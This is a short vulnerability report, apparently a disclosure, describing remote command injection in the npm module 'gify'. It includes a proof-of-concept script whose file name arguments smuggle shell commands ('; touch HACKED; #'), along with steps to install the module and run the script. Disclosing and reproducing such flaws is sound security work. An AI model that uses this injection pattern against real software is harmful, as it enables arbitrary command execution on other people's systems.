vulnerability remote code execution
severity 3.8
language javascript
registry npm


The gify module is vulnerable against RCE since a command is crafted using user inputs not validated and then executed, leading to arbitrary command injection


  1. Create the following PoC file:
// poc.js
var gify = require("gify");
gify("out.mp4\"`'; touch HACKED; #", 'out.gif\';touch HACKED; #');;
  1. Check there aren't files called HACKED
  2. Execute the following commands in another terminal:
npm i gify # Install affected module
node poc.js #  Run the PoC
  1. Recheck the files: now HACKED has been created